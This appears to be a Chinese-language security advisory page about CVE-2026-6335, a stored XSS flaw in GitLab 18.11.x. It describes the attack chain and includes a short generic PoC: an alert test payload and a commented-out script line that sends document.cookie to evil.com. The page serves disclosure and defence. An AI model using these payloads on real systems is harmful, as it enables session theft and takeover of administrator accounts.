IPBUF安全漏洞报告
English
CVE-2026-6335 CVSS 5.4 中危

CVE-2026-6335 GitLab存储型XSS漏洞致代码执行

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-6335
漏洞类型
存储型跨站脚本
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab CE/EE

相关标签

XSSGitLabCVE-2026-6335Web SecurityStored XSS

漏洞概述

CVE-2026-6335 是 GitLab 社区版(CE)和企业版(EE)中发现的一个安全漏洞。该漏洞影响所有从 18.11 开始直至 18.11.3 之前的版本。由于系统对特定输入的清理机制存在缺陷,经过身份验证的攻击者可以在特定条件下构造恶意 payload。一旦受害者访问受影响页面,攻击者即可在其浏览器会话中执行任意代码,进而威胁用户数据安全。

技术细节

该漏洞本质上属于存储型跨站脚本攻击(Stored XSS)。其根本原因是 GitLab 在处理特定用户输入时,未能完全执行上下文相关的转义和清理操作,导致恶意脚本被持久化存储。攻击流程通常始于一个经过身份验证的低权限用户。攻击者利用应用程序中的输入点注入精心构造的 JavaScript Payload。由于存在漏洞的组件未正确过滤特殊字符,该 Payload 被保存至数据库。当具有更高权限的用户访问并渲染该受污染页面时,恶意脚本将在其浏览器环境中自动执行。鉴于 CVSS 向量包含 S:C(范围改变),攻击者不仅能窃取受害者的 Session Cookie,还能利用受害者的权限上下文执行任意操作,从而接管账户或横向移动。

攻击链分析

STEP 1
1. 侦察与准备
攻击者确定目标为运行 GitLab 18.11.x 版本的实例,并注册一个低权限账户。
STEP 2
2. 恶意注入
攻击者在特定功能模块(如 Issue 描述、评论等)中输入包含恶意 JavaScript 代码的数据。
STEP 3
3. 持久化存储
由于服务器端清理不当,GitLab 将恶意脚本存储在数据库中。
STEP 4
4. 诱导访问
攻击者诱导具有高权限的目标用户(如管理员)访问包含恶意内容的页面。
STEP 5
5. 代码执行
目标用户浏览器解析页面时执行恶意脚本,攻击者获得目标会话的控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC Concept for CVE-2026-6335 // Attacker injects this payload into a vulnerable field (e.g., Issue description) // Simple Alert Payload to verify vulnerability let maliciousPayload = '<img src=x onerror=alert(1)>'; // Advanced Payload to exfiltrate session cookies // let stealCookie = '<script>fetch(\'https://evil.com/steal?c=\'+document.cookie)</script>'; // Usage: // 1. Attacker logs in to GitLab. // 2. Navigates to a feature where user input is reflected and stored (e.g., create an Issue). // 3. Inputs the maliciousPayload into the description field. // 4. Submits the form. // 5. Victim (Admin) views the issue -> Code executes in Admin's browser.

影响范围

GitLab CE/EE 18.11
GitLab CE/EE 18.11.1
GitLab CE/EE 18.11.2

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用受影响的功能模块,或加强对用户生成内容的审核。此外,应教育用户不要轻易点击来源不明的链接或查看可疑的用户提交内容,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表